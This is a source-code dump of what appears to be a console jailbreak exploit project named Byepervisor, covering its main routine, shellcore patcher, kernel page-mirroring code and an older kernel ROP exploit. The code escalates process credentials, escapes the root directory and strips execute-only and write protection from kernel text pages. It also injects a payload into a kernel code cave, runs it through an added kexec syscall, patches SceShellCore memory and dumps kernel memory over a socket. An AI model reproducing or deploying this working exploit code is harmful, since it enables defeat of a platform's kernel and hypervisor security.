dump_selfs_in_dir(s, dump_path, "/system/common/lib") 195 | dump_selfs_in_dir(s, dump_path, "/system_ex/common_ex/lib") 196 | dump_selfs_in_dir(s, dump_path, "/system/priv/lib") 197 | dump_selfs_in_dir(s, dump_path, "/system/sys") 198 | dump_selfs_in_dir(s, dump_path, "/system/vsh") 199 | 200 | print("[+] Done.") 201 | s.close() 202 | 203 | dump_selfs() -------------------------------------------------------------------------------- /src/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | extern "C" { 13 | #include 14 | } 15 | 16 | #include "config.h" 17 | #include "debug_log.h" 18 | #include "hen.h" 19 | #include "kdlsym.h" 20 | #include "kexec.h" 21 | #include "mirror.h" 22 | #include "paging.h" 23 | #include "patching.h" 24 | #include "self.h" 25 | #include "util.h" 26 | 27 | int g_debug_sock = -1; 28 | 29 | extern "C" 30 | { 31 | int sceKernelSleep(int secs); 32 | int sceKernelLoadStartModule(char *name, size_t argc, const void *argv, uint32_t flags, void *unk, int *res); 33 | int __sys_is_development_mode(); 34 | } 35 | 36 | void dump_kernel_to_client(int client) 37 | { 38 | int write_ret; 39 | char data_buf[0x4000]; 40 | uint64_t qword; 41 | 42 | SOCK_LOG("[+] Dumping kernel to client\n"); 43 | 44 | // Write firmware version 45 | qword = kernel_get_fw_version() & 0xFFFF0000; 46 | if (write(client, &qword, sizeof(qword)) != sizeof(qword)) { 47 | SOCK_LOG("[!] Failed to send FW version\n"); 48 | close(client); 49 | return; 50 | } 51 | 52 | // Write kernel base address 53 | qword = ktext(0); 54 | if (write(client, &qword, sizeof(qword)) != sizeof(qword)) { 55 | SOCK_LOG("[!] Failed to send kernel base\n"); 56 | close(client); 57 | return; 58 | } 59 | 60 | // Write kernel .text + data 61 | for (uint64_t addr = ktext(0); ; addr += sizeof(data_buf)) { 62 | kernel_copyout(addr, &data_buf, sizeof(data_buf)); 63 | write_ret = write(client, &data_buf, sizeof(data_buf)); 64 | if (write_ret < 0) 65 | break; 66 | } 67 | 68 | // We shouldn't reach here, we should crash 69 | close(client); 70 | SOCK_LOG("[+] Done\n"); 71 | } 72 | 73 | int main() 74 | { 75 | int ret; 76 | int debug_sock = -1; 77 | struct sockaddr_in addr; 78 | uint64_t kernel_pmap; 79 | uint64_t pte_addr; 80 | uint64_t pde_addr; 81 | uint64_t pte; 82 | uint64_t pde; 83 | 84 | // Set shellcore auth ID 85 | kernel_set_ucred_authid(getpid(), 0x4800000000000007); 86 | 87 | // Open a debug socket if enabled 88 | if (PC_DEBUG_ENABLED) { 89 | debug_sock = socket(AF_INET, SOCK_STREAM, 0); 90 | if (debug_sock < 0) { 91 | return 0xDEAD0001; 92 | } 93 | 94 | inet_pton(AF_INET, PC_DEBUG_IP, &addr.sin_addr); 95 | addr.sin_family = AF_INET; 96 | addr.sin_len = sizeof(addr); 97 | addr.sin_port = htons(PC_DEBUG_PORT); 98 | 99 | ret = connect(debug_sock, (const struct sockaddr *) &addr, sizeof(addr)); 100 | if (ret < 0) { 101 | return 0xDEAD0002; 102 | } 103 | 104 | SOCK_LOG("[!] debug socket connected\n"); 105 | g_debug_sock = debug_sock; 106 | } 107 | 108 | // Jailbreak 109 | kernel_set_proc_rootdir(getpid(), kernel_get_root_vnode()); 110 | 111 | kernel_pmap = kdlsym(KERNEL_SYM_PMAP_STORE); 112 | SOCK_LOG("[+] Kernel pmap = 0x%lx\n", kernel_pmap); 113 | 114 | // Disable xotext + enable write on kernel .text pages 115 | SOCK_LOG("[+] Disabling xotext + enabling write\n"); 116 | for (uint64_t addr = ktext(0); addr < KERNEL_ADDRESS_DATA_BASE; addr += 0x1000) { 117 | pde_addr = find_pde(kernel_pmap, addr, &pde); 118 | if (pde_addr != 0xFFFFFFFFFFFFFFFFull) { 119 | CLEAR_PDE_BIT(pde, XOTEXT); 120 | SET_PDE_BIT(pde, RW); 121 | kernel_copyin(&pde, pde_addr, sizeof(pde)); 122 | } 123 | 124 | pte_addr = find_pte(kernel_pmap, addr, &pte); 125 | if (pte_addr != 0xFFFFFFFFFFFFFFFFull) { 126 | CLEAR_PDE_BIT(pte, XOTEXT); 127 | SET_PDE_BIT(pte, RW); 128 | kernel_copyin(&pte, pte_addr, sizeof(pte)); 129 | } 130 | } 131 | 132 | // Check if this is a resume state or not, if it's not, prompt for restart and exit 133 | if (kernel_read4(kdlsym(KERNEL_SYM_DATA_CAVE)) != 0x1337) { 134 | // Notify the user that they have to suspend/resume their console 135 | SOCK_LOG("[+] System needs to be suspended and resumed...\n"); 136 | flash_notification("Byepervisor\nEnter rest mode & resume"); 137 | kernel_write4(kdlsym(KERNEL_SYM_DATA_CAVE), 0x1337); 138 | 139 | return 0; 140 | } 141 | 142 | // Print out the kernel base 143 | SOCK_LOG("[+] Kernel base = 0x%lx\n", ktext(0)); 144 | 145 | // run_dump_server(9003); 146 | // reset_mirrors(); 147 | // return 0; 148 | 149 | // Apply patches 150 | if (apply_kernel_patches() != 0) { 151 | SOCK_LOG("[!] Applying kernel patches failed, firmware likely not supported\n"); 152 | return -1; 153 | } 154 | 155 | // Calculate the remaining blocks after 0x1000 segments 156 | uint64_t KELF_REMAINING = KELF_SZ % 0x1000; 157 | 158 | // Calculate the number of blocks to copy 159 | uint64_t KELF_BLOCK_COPIES = KELF_SZ / 0x1000; 160 | 161 | // Calculate the offset of the remaining data 162 | uint64_t KELF_REMAINING_START_OFFSET = KELF_BLOCK_COPIES * 0x1000; 163 | 164 | // Copy hen into kernel code cave 165 | for (uint32_t i = 0; i < KELF_SZ; i += 0x1000) { 166 | kernel_copyin(&KELF[i], kdlsym(KERNEL_SYM_CODE_CAVE) + i, 0x1000); 167 | } 168 | if (KELF_REMAINING != 0) 169 | kernel_copyin(&KELF[KELF_REMAINING_START_OFFSET], kdlsym(KERNEL_SYM_CODE_CAVE) + KELF_REMAINING_START_OFFSET, KELF_REMAINING); 170 | 171 | // Install kexec syscall 172 | SOCK_LOG("[+] Installing kexec syscall\n"); 173 | install_kexec(); 174 | 175 | // Print out the development mode before and after jailbreak 176 | SOCK_LOG("[+] Bef. hook is_development_mode = 0x%x\n", __sys_is_development_mode()); 177 | 178 | // Run hen from the code cave 179 | int test_ret = kexec(kdlsym(KERNEL_SYM_CODE_CAVE)); 180 | SOCK_LOG("[+] kexec returned: 0x%x\n", test_ret); 181 | 182 | SOCK_LOG("[+] Aft. hook is_development_mode = 0x%x\n", __sys_is_development_mode()); 183 | 184 | run_self_server(9004); 185 | reset_mirrors(); 186 | return 0; 187 | } 188 | -------------------------------------------------------------------------------- /hen/src/patch_shellcore.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "kdlsym.h" 6 | #include "util.h" 7 | #include "patch_shellcore.h" 8 | #include "proc.h" 9 | 10 | #include "shellcore_patches/2_50.h" 11 | 12 | /** 13 | * @brief Implementation of read/write memory for a process (from kernel) 14 | * 15 | * @param p struct proc* Process to read/write to/from 16 | * @param procAddr off_t Address to read/write to/from 17 | * @param sz size_t Size to read/write 18 | * @param kAddr void* Kernel buffer 19 | * @param ioSz size_t io size 20 | * @param write int32_t 1 for write, 0 for read 21 | * @return int 0 on success, error otherwise 22 | */ 23 | int proc_rw_mem(void *p, off_t procAddr, size_t sz, void *kAddr, size_t *ioSz, int write) 24 | { 25 | // Assign kdlsym 26 | auto printf = (void (*)(const char *fmt, ...)) kdlsym(KERNEL_SYM_PRINTF); 27 | auto debug_rwmem = (int (*)(void *proc, struct uio *uio)) kdlsym(KERNEL_SYM_RW_MEM); 28 | 29 | // Debug logging 30 | // printf("proc_rw_mem(%p, 0x%lx, %lx, %p, %p, %d)\n", p, procAddr, sz, kAddr, ioSz, write); 31 | 32 | // Validate process 33 | if (!p) { 34 | printf("no proc\n"); 35 | return -1; 36 | } 37 | 38 | // Validate process address, and kernel address 39 | if (!procAddr || !kAddr) { 40 | printf("no addrs\n"); 41 | return -1; 42 | } 43 | 44 | // Validate size 45 | if (!sz) { 46 | if (ioSz) { 47 | *ioSz = 0; 48 | } 49 | return 0; 50 | } 51 | 52 | struct iovec _iov{}; 53 | struct uio _uio{}; 54 | 55 | _iov.iov_base = kAddr; 56 | _iov.iov_len = sz; 57 | 58 | _uio.uio_iov = &_iov; 59 | _uio.uio_iovcnt = 1; 60 | _uio.uio_offset = procAddr; 61 | _uio.uio_resid = sz; 62 | _uio.uio_segflg = UIO_SYSSPACE; 63 | _uio.uio_rw = (write) ? UIO_WRITE : UIO_READ; 64 | _uio.uio_td = curthread; 65 | 66 | // Read/Write memory (ignoring faults) 67 | // printf("debug_rwmem: try\n"); 68 | int ret = debug_rwmem(p, &_uio); 69 | // printf("debug_rwmem: ret = 0x%x\n", ret); 70 | 71 | if (ioSz) { 72 | *ioSz = (sz - _uio.uio_resid); 73 | } 74 | 75 | return ret; 76 | } 77 | 78 | /** 79 | * @brief Gets the shellcore base address for patching from kernel->user space 80 | * 81 | * @param shellcore_proc struct proc* Shellcore process 82 | * @return uint64_t Base address of shellcore, or 0 on error 83 | */ 84 | uint64_t shellcore_get_addr(void *shellcore_proc) 85 | { 86 | void *vm_map; 87 | void *first_entry; 88 | void *entry; 89 | uint64_t entry_start; 90 | uint8_t entry_prot; 91 | char *entry_name; 92 | uint64_t addr; 93 | 94 | // kdlsym function pointers 95 | auto printf = (void (*)(const char *fmt, ...)) kdlsym(KERNEL_SYM_PRINTF); 96 | auto _vm_map_lock_read = (void (*)(void *map, const char *file, int line)) kdlsym(KERNEL_SYM_VM_MAP_LOCK_READ); 97 | auto _vm_map_unlock_read = (void (*)(void *map, const char *file, int line)) kdlsym(KERNEL_SYM_VM_MAP_UNLOCK_READ); 98 | auto _vm_map_lookup_entry = (int (*)(void *map, uint64_t offset, void *entry)) kdlsym(KERNEL_SYM_VM_MAP_LOOKUP_ENTRY); 99 | 100 | // Get the process vm map 101 | vm_map = get_proc_vmmap(shellcore_proc); 102 | // printf("[HEN] [SHELLCORE] vm_map = %p\n", vm_map); 103 | 104 | // Lock the vm map 105 | _vm_map_lock_read(vm_map, "", 0); 106 | 107 | // Lookup the vm map entry 108 | if (_vm_map_lookup_entry(vm_map, 0, &entry) != 0) { 109 | // On failure log and unlock 110 | printf("[HEN] [SHELLCORE] Failed to lookup first entry\n"); 111 | _vm_map_unlock_read(vm_map, "", 0); 112 | return 0; 113 | } 114 | 115 | first_entry = entry; 116 | addr = 0; 117 | 118 | // Iterate over all of the entries and check the name, offset, and protection 119 | do { 120 | entry_name = (char *) ((char *) (entry) + VM_ENTRY_OFFSET_NAME); 121 | entry_start = *(uint64_t *) ((char *) (entry) + VM_ENTRY_OFFSET_START); 122 | entry_prot = *(uint8_t *) ((char *) (entry) + VM_ENTRY_OFFSET_PROT); 123 | 124 | printf(" vm entry (start=0x%lx, prot=0x%x), '%s'\n", entry_start, entry_prot, entry_name); 125 | entry = (void *) *(uint64_t *) ((char *) (entry) + VM_ENTRY_OFFSET_NEXT); 126 | 127 | if (!strncmp(entry_name, "executable", strlen("executable")) && entry_prot == 4) { 128 | // for (int i = 0; i < 0x200; i += 0x8) { 129 | // printf(" +%02x: 0x%lx\n", i, *(uint64_t *) ((char *) (entry) + i)); 130 | // } 131 | addr = entry_start; 132 | break; 133 | } 134 | } while (entry != NULL && entry != first_entry); 135 | 136 | // Unlock the vm map 137 | _vm_map_unlock_read(vm_map, "", 0); 138 | 139 | // return the found address 140 | return addr; 141 | } 142 | 143 | /** 144 | * @brief Applies the shellcore patches in memory 145 | * 146 | */ 147 | void apply_shellcore_patches() 148 | { 149 | uint64_t fw_ver; 150 | struct patch *patches; 151 | struct patch *cur_patch; 152 | void *shellcore_proc; 153 | uint64_t shellcore_base_addr; 154 | int num_patches; 155 | 156 | // Get kdlsym function pointers 157 | auto printf = (void (*)(const char *fmt, ...)) kdlsym(KERNEL_SYM_PRINTF); 158 | 159 | // Resolve patches for this fw 160 | fw_ver = get_fw_version(); 161 | printf("apply_shellcore_patches: fw_ver = 0x%lx\n", fw_ver); 162 | 163 | switch (fw_ver) { 164 | case 0x2500000: 165 | patches = (struct patch *) &g_shellcore_patches_250; 166 | num_patches = sizeof(g_shellcore_patches_250) / sizeof(struct patch); 167 | break; 168 | default: 169 | printf("apply_shellcore_patches: don't have offsets for this firmware\n"); 170 | return; 171 | } 172 | 173 | // Get shellcore proc 174 | printf("[HEN] [SHELLCORE] Finding shellcore\n"); 175 | shellcore_proc = find_proc_by_name("SceShellCore"); 176 | if (shellcore_proc == NULL) { 177 | printf("[HEN] [SHELLCORE] Failed to find shellcore\n"); 178 | return; 179 | } 180 | printf("[HEN] [SHELLCORE] shellcore proc = %p\n", shellcore_proc); 181 | 182 | // Resolve shellcore base address 183 | shellcore_base_addr = shellcore_get_addr(shellcore_proc); 184 | printf("[HEN] [SHELLCORE] Found shellcore base = 0x%lx\n", shellcore_base_addr); 185 | 186 | printf("[HEN] [SHELLCORE] Applying shellcore patches...\n"); 187 | for (int i = 0; i < num_patches; i++) { 188 | cur_patch = &patches[i]; 189 | printf(" offset=0x%lx, size=0x%x, data=%p\n", cur_patch->offset, cur_patch->size, &cur_patch->data); 190 | 191 | proc_rw_mem(shellcore_proc, (shellcore_base_addr + cur_patch->offset), cur_patch->size, (void *) &cur_patch->data, NULL, 1); 192 | } 193 | } 194 | -------------------------------------------------------------------------------- /_old_jump_table_exploit/src/mirror.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | 9 | #include "debug_log.h" 10 | #include "kdlsym.h" 11 | #include "mirror.h" 12 | #include "paging.h" 13 | 14 | #define MAX_MIRRORS 0x100 15 | #define UNUSED(x) (void) (x) 16 | 17 | int sceKernelUsleep(int usecs); 18 | 19 | struct mirrored_page { 20 | uint64_t user_addr; 21 | uint64_t kernel_va; 22 | uint64_t kernel_pa; 23 | uint64_t orig_pa; 24 | }; 25 | 26 | struct mirrored_page g_mirrored_pages[MAX_MIRRORS]; 27 | int g_mirrored_page_index = 0; 28 | 29 | void *mirror_page(uint64_t kernel_va) 30 | { 31 | void *user_mirror; 32 | uint64_t pmap; 33 | uint64_t kernel_pa; 34 | uint64_t orig_pa; 35 | uint64_t pf_read; 36 | 37 | UNUSED(pf_read); 38 | 39 | // We can only do MAX_MIRRORS mirrors, this should be plenty 40 | if (g_mirrored_page_index >= MAX_MIRRORS) { 41 | SOCK_LOG("[!] exceeded mirror limit\n"); 42 | return NULL; 43 | } 44 | 45 | // Mask virtual address to page alignment and extract physical address 46 | kernel_va &= 0xFFFFFFFFFFFFF000; 47 | kernel_pa = pmap_kextract(kernel_va); 48 | 49 | // Get process pmap 50 | pmap = get_proc_pmap(); 51 | if (pmap == 0) { 52 | SOCK_LOG("[!] failed to mirror 0x%lx due to failure to find proc\n", kernel_va); 53 | return NULL; 54 | } 55 | 56 | // Map a user page 57 | user_mirror = mmap(0, 0x4000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_PREFAULT_READ, -1, 0); 58 | if (user_mirror == MAP_FAILED) { 59 | SOCK_LOG("[!] failed to mirror 0x%lx due to mmap failure (%s)\n", kernel_va, strerror(errno)); 60 | return NULL; 61 | } 62 | 63 | // Prefault page 64 | *(uint64_t *) (user_mirror) = 0x40404040; 65 | pf_read = *(uint64_t *) (user_mirror); 66 | 67 | sceKernelUsleep(50000); 68 | 69 | orig_pa = remap_page(pmap, (uint64_t) user_mirror, kernel_pa); 70 | if (orig_pa == 0xFFFFFFFFFFFFFFFFull) { 71 | SOCK_LOG("[!] failed to mirror 0x%lx due to failure to remap page\n", kernel_va); 72 | return NULL; 73 | } 74 | 75 | // Store for later for lookup & restore 76 | g_mirrored_pages[g_mirrored_page_index].user_addr = (uint64_t) user_mirror; 77 | g_mirrored_pages[g_mirrored_page_index].kernel_va = kernel_va; 78 | g_mirrored_pages[g_mirrored_page_index].kernel_pa = kernel_pa; 79 | g_mirrored_pages[g_mirrored_page_index].orig_pa = orig_pa; 80 | g_mirrored_page_index++; 81 | 82 | return user_mirror; 83 | } 84 | 85 | void *mirror_page_no_store(uint64_t kernel_va) 86 | { 87 | void *user_mirror; 88 | uint64_t pmap; 89 | uint64_t kernel_pa; 90 | uint64_t orig_pa; 91 | uint64_t pf_read; 92 | 93 | UNUSED(pf_read); 94 | 95 | // Mask virtual address to page alignment and extract physical address 96 | kernel_va &= 0xFFFFFFFFFFFFF000; 97 | kernel_pa = pmap_kextract(kernel_va); 98 | 99 | // Get process pmap 100 | pmap = get_proc_pmap(); 101 | if (pmap == 0) { 102 | SOCK_LOG("[!] failed to mirror 0x%lx due to failure to find proc\n", kernel_va); 103 | return NULL; 104 | } 105 | 106 | // Map a user page 107 | user_mirror = mmap(0, 0x4000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_PREFAULT_READ, -1, 0); 108 | if (user_mirror == MAP_FAILED) { 109 | SOCK_LOG("[!] failed to mirror 0x%lx due to mmap failure (%s)\n", kernel_va, strerror(errno)); 110 | return NULL; 111 | } 112 | 113 | // Prefault page 114 | *(uint64_t *) (user_mirror) = 0x40404040; 115 | pf_read = *(uint64_t *) (user_mirror); 116 | 117 | sceKernelUsleep(50000); 118 | 119 | orig_pa = remap_page(pmap, (uint64_t) user_mirror, kernel_pa); 120 | if (orig_pa == 0xFFFFFFFFFFFFFFFFull) { 121 | SOCK_LOG("[!] failed to mirror 0x%lx due to failure to remap page\n", kernel_va); 122 | return NULL; 123 | } 124 | 125 | return user_mirror; 126 | } 127 | 128 | // TODO: fix this to make it actually.. work 129 | void *mirror_page_range(uint64_t kernel_va, int num_pages) 130 | { 131 | void *user_mirror; 132 | uint64_t pmap; 133 | uint64_t kernel_pa; 134 | uint64_t orig_pa; 135 | uint64_t pf_read; 136 | 137 | UNUSED(pf_read); 138 | 139 | // We can only do MAX_MIRRORS mirrors, this should be plenty 140 | if (g_mirrored_page_index >= MAX_MIRRORS) { 141 | SOCK_LOG("[!] exceeded mirror limit\n"); 142 | return NULL; 143 | } 144 | 145 | // Mask virtual address to page alignment and extract physical address 146 | kernel_va &= 0xFFFFFFFFFFFFF000; 147 | kernel_pa = pmap_kextract(kernel_va); 148 | 149 | // Get process pmap 150 | pmap = get_proc_pmap(); 151 | if (pmap == 0) { 152 | SOCK_LOG("[!] failed to mirror 0x%lx due to failure to find proc\n", kernel_va); 153 | return NULL; 154 | } 155 | 156 | // Map a user region 157 | user_mirror = mmap(0, num_pages * 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_PREFAULT_READ, -1, 0); 158 | if (user_mirror == MAP_FAILED) { 159 | SOCK_LOG("[!] failed to mirror 0x%lx due to mmap failure (%s)\n", kernel_va, strerror(errno)); 160 | return NULL; 161 | } 162 | 163 | sceKernelUsleep(50000); 164 | 165 | for (int i = 0; i < num_pages; i++) { 166 | orig_pa = remap_page(pmap, (uint64_t) user_mirror + (i * 0x1000), kernel_pa + (i * 0x1000)); 167 | if (orig_pa == 0xFFFFFFFFFFFFFFFFull) { 168 | SOCK_LOG("[!] failed to mirror 0x%lx due to failure to remap page\n", kernel_va); 169 | return NULL; 170 | } 171 | } 172 | 173 | // TODO: store for later cleanup 174 | 175 | return user_mirror; 176 | } 177 | 178 | void *get_mirrored_addr(uint64_t kernel_va) 179 | { 180 | uint64_t aligned_kernel_va; 181 | uint64_t aligned_kernel_pa; 182 | void *mirrored_addr; 183 | 184 | // Mask virtual address to page alignment and extract physical address 185 | aligned_kernel_va = kernel_va & 0xFFFFFFFFFFFFF000; 186 | aligned_kernel_pa = pmap_kextract(aligned_kernel_va); 187 | 188 | // Check if mirror already exists for this PA 189 | for (int i = 0; i < g_mirrored_page_index; i++) { 190 | if (g_mirrored_pages[i].kernel_pa == aligned_kernel_pa) { 191 | // Return existing mirror 192 | return (void *) (g_mirrored_pages[i].user_addr | (kernel_va & 0xFFF)); 193 | } 194 | } 195 | 196 | // If one doesn't, create one 197 | mirrored_addr = mirror_page(aligned_kernel_va); 198 | 199 | return (void *) ((uint64_t) mirrored_addr | (kernel_va & 0xFFF)); 200 | } 201 | 202 | void reset_mirrors() 203 | { 204 | uint64_t pmap; 205 | uint64_t va; 206 | uint64_t pa; 207 | 208 | pmap = get_proc_pmap(); 209 | if (pmap == 0) { 210 | SOCK_LOG("[!] failed to reset mirrors due to failure to find proc\n"); 211 | return; 212 | } 213 | 214 | for (int i = 0; i < g_mirrored_page_index; i++) { 215 | va = g_mirrored_pages[i].user_addr; 216 | pa = g_mirrored_pages[i].orig_pa; 217 | remap_page(pmap, va, pa); 218 | bzero(&g_mirrored_pages[i], sizeof(struct mirrored_page)); 219 | } 220 | 221 | g_mirrored_page_index = 0; 222 | } -------------------------------------------------------------------------------- /src/mirror.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | 9 | #include "debug_log.h" 10 | #include "kdlsym.h" 11 | #include "mirror.h" 12 | #include "paging.h" 13 | 14 | #define MAX_MIRRORS 0x100 15 | #define UNUSED(x) (void) (x) 16 | 17 | extern "C" 18 | { 19 | int sceKernelUsleep(int usecs); 20 | } 21 | 22 | struct mirrored_page { 23 | uint64_t user_addr; 24 | uint64_t kernel_va; 25 | uint64_t kernel_pa; 26 | uint64_t orig_pa; 27 | }; 28 | 29 | struct mirrored_page g_mirrored_pages[MAX_MIRRORS]; 30 | int g_mirrored_page_index = 0; 31 | 32 | void *mirror_page(uint64_t kernel_va) 33 | { 34 | void *user_mirror; 35 | uint64_t pmap; 36 | uint64_t kernel_pa; 37 | uint64_t orig_pa; 38 | uint64_t pf_read; 39 | 40 | UNUSED(pf_read); 41 | 42 | // We can only do MAX_MIRRORS mirrors, this should be plenty 43 | if (g_mirrored_page_index >= MAX_MIRRORS) { 44 | SOCK_LOG("[!] exceeded mirror limit\n"); 45 | return NULL; 46 | } 47 | 48 | // Mask virtual address to page alignment and extract physical address 49 | kernel_va &= 0xFFFFFFFFFFFFF000; 50 | kernel_pa = pmap_kextract(kernel_va); 51 | 52 | // Get process pmap 53 | pmap = get_proc_pmap(); 54 | if (pmap == 0) { 55 | SOCK_LOG("[!] failed to mirror 0x%lx due to failure to find proc\n", kernel_va); 56 | return NULL; 57 | } 58 | 59 | // Map a user page 60 | user_mirror = mmap(0, 0x4000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_PREFAULT_READ, -1, 0); 61 | if (user_mirror == MAP_FAILED) { 62 | SOCK_LOG("[!] failed to mirror 0x%lx due to mmap failure (%s)\n", kernel_va, strerror(errno)); 63 | return NULL; 64 | } 65 | 66 | // Prefault page 67 | *(uint64_t *) (user_mirror) = 0x40404040; 68 | pf_read = *(uint64_t *) (user_mirror); 69 | 70 | sceKernelUsleep(50000); 71 | 72 | orig_pa = remap_page(pmap, (uint64_t) user_mirror, kernel_pa); 73 | if (orig_pa == 0xFFFFFFFFFFFFFFFFull) { 74 | SOCK_LOG("[!] failed to mirror 0x%lx due to failure to remap page\n", kernel_va); 75 | return NULL; 76 | } 77 | 78 | // Store for later for lookup & restore 79 | g_mirrored_pages[g_mirrored_page_index].user_addr = (uint64_t) user_mirror; 80 | g_mirrored_pages[g_mirrored_page_index].kernel_va = kernel_va; 81 | g_mirrored_pages[g_mirrored_page_index].kernel_pa = kernel_pa; 82 | g_mirrored_pages[g_mirrored_page_index].orig_pa = orig_pa; 83 | g_mirrored_page_index++; 84 | 85 | return user_mirror; 86 | } 87 | 88 | void *mirror_page_no_store(uint64_t kernel_va) 89 | { 90 | void *user_mirror; 91 | uint64_t pmap; 92 | uint64_t kernel_pa; 93 | uint64_t orig_pa; 94 | uint64_t pf_read; 95 | 96 | UNUSED(pf_read); 97 | 98 | // Mask virtual address to page alignment and extract physical address 99 | kernel_va &= 0xFFFFFFFFFFFFF000; 100 | kernel_pa = pmap_kextract(kernel_va); 101 | 102 | // Get process pmap 103 | pmap = get_proc_pmap(); 104 | if (pmap == 0) { 105 | SOCK_LOG("[!] failed to mirror 0x%lx due to failure to find proc\n", kernel_va); 106 | return NULL; 107 | } 108 | 109 | // Map a user page 110 | user_mirror = mmap(0, 0x4000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_PREFAULT_READ, -1, 0); 111 | if (user_mirror == MAP_FAILED) { 112 | SOCK_LOG("[!] failed to mirror 0x%lx due to mmap failure (%s)\n", kernel_va, strerror(errno)); 113 | return NULL; 114 | } 115 | 116 | // Prefault page 117 | *(uint64_t *) (user_mirror) = 0x40404040; 118 | pf_read = *(uint64_t *) (user_mirror); 119 | 120 | sceKernelUsleep(50000); 121 | 122 | orig_pa = remap_page(pmap, (uint64_t) user_mirror, kernel_pa); 123 | if (orig_pa == 0xFFFFFFFFFFFFFFFFull) { 124 | SOCK_LOG("[!] failed to mirror 0x%lx due to failure to remap page\n", kernel_va); 125 | return NULL; 126 | } 127 | 128 | return user_mirror; 129 | } 130 | 131 | // TODO: fix this to make it actually.. work 132 | void *mirror_page_range(uint64_t kernel_va, int num_pages) 133 | { 134 | void *user_mirror; 135 | uint64_t pmap; 136 | uint64_t kernel_pa; 137 | uint64_t orig_pa; 138 | uint64_t pf_read; 139 | 140 | UNUSED(pf_read); 141 | 142 | // We can only do MAX_MIRRORS mirrors, this should be plenty 143 | if (g_mirrored_page_index >= MAX_MIRRORS) { 144 | SOCK_LOG("[!] exceeded mirror limit\n"); 145 | return NULL; 146 | } 147 | 148 | // Mask virtual address to page alignment and extract physical address 149 | kernel_va &= 0xFFFFFFFFFFFFF000; 150 | kernel_pa = pmap_kextract(kernel_va); 151 | 152 | // Get process pmap 153 | pmap = get_proc_pmap(); 154 | if (pmap == 0) { 155 | SOCK_LOG("[!] failed to mirror 0x%lx due to failure to find proc\n", kernel_va); 156 | return NULL; 157 | } 158 | 159 | // Map a user region 160 | user_mirror = mmap(0, num_pages * 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_PREFAULT_READ, -1, 0); 161 | if (user_mirror == MAP_FAILED) { 162 | SOCK_LOG("[!] failed to mirror 0x%lx due to mmap failure (%s)\n", kernel_va, strerror(errno)); 163 | return NULL; 164 | } 165 | 166 | sceKernelUsleep(50000); 167 | 168 | for (int i = 0; i < num_pages; i++) { 169 | orig_pa = remap_page(pmap, (uint64_t) user_mirror + (i * 0x1000), kernel_pa + (i * 0x1000)); 170 | if (orig_pa == 0xFFFFFFFFFFFFFFFFull) { 171 | SOCK_LOG("[!] failed to mirror 0x%lx due to failure to remap page\n", kernel_va); 172 | return NULL; 173 | } 174 | } 175 | 176 | // TODO: store for later cleanup 177 | 178 | return user_mirror; 179 | } 180 | 181 | void *get_mirrored_addr(uint64_t kernel_va) 182 | { 183 | uint64_t aligned_kernel_va; 184 | uint64_t aligned_kernel_pa; 185 | void *mirrored_addr; 186 | 187 | // Mask virtual address to page alignment and extract physical address 188 | aligned_kernel_va = kernel_va & 0xFFFFFFFFFFFFF000; 189 | aligned_kernel_pa = pmap_kextract(aligned_kernel_va); 190 | 191 | // Check if mirror already exists for this PA 192 | for (int i = 0; i < g_mirrored_page_index; i++) { 193 | if (g_mirrored_pages[i].kernel_pa == aligned_kernel_pa) { 194 | // Return existing mirror 195 | return (void *) (g_mirrored_pages[i].user_addr | (kernel_va & 0xFFF)); 196 | } 197 | } 198 | 199 | // If one doesn't, create one 200 | mirrored_addr = mirror_page(aligned_kernel_va); 201 | 202 | return (void *) ((uint64_t) mirrored_addr | (kernel_va & 0xFFF)); 203 | } 204 | 205 | void reset_mirrors() 206 | { 207 | uint64_t pmap; 208 | uint64_t va; 209 | uint64_t pa; 210 | 211 | pmap = get_proc_pmap(); 212 | if (pmap == 0) { 213 | SOCK_LOG("[!] failed to reset mirrors due to failure to find proc\n"); 214 | return; 215 | } 216 | 217 | for (int i = 0; i < g_mirrored_page_index; i++) { 218 | va = g_mirrored_pages[i].user_addr; 219 | pa = g_mirrored_pages[i].orig_pa; 220 | remap_page(pmap, va, pa); 221 | bzero(&g_mirrored_pages[i], sizeof(struct mirrored_page)); 222 | } 223 | 224 | g_mirrored_page_index = 0; 225 | } -------------------------------------------------------------------------------- /_old_jump_table_exploit/src/krop.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include 10 | 11 | #include "debug_log.h" 12 | #include "kdlsym.h" 13 | #include "krop.h" 14 | #include "mirror.h" 15 | #include "paging.h" 16 | #include "util.h" 17 | 18 | #define WORKER_THREAD_TAGGED_SIZE 0x03FE 19 | 20 | int sceKernelSleep(int); 21 | 22 | void pthread_set_name_np(pthread_t, const char *); 23 | 24 | void *krop_worker_func(void *arg) 25 | { 26 | struct krop_manage *krop; 27 | char scratch_buf[0x1000]; 28 | 29 | krop = (struct krop_manage *) arg; 30 | if (krop == NULL) { 31 | return NULL; 32 | } 33 | 34 | // Pin to a core 35 | pin_to_first_available_core(); 36 | krop->core = get_cpu_core(); 37 | 38 | SOCK_LOG("[+] KROP: krop_worker thread entered (core=0x%x), reading from %d\n", get_cpu_core(), krop->pipe_fds[1]); 39 | 40 | // Do a blocking read and store arguments 41 | krop->tag1 = (uint64_t) &scratch_buf; 42 | krop->tag2 = WORKER_THREAD_TAGGED_SIZE; 43 | read(krop->pipe_fds[1], &scratch_buf, krop->tag2); 44 | 45 | krop->done = 1; 46 | SOCK_LOG("[+] KROP: krop_worker thread exiting\n"); 47 | return NULL; 48 | } 49 | 50 | uint64_t find_thread_kstack(char *name) 51 